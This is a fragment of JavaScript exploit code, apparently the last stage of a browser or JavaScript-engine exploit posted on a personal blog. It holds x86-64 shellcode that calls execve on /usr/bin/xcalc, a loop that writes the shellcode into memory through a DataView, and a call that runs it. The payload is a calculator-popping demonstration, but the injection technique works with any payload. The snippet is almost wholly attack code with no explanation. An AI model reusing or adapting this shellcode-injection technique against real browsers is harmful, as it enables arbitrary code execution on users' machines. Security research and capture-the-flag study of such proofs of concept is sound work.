var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];

for (i = 0; i < shellcode.length; i++){
dataView.setUint32(i * 4, shellcode[i], true);
}

func();
2019-2021 Nishikinor undefined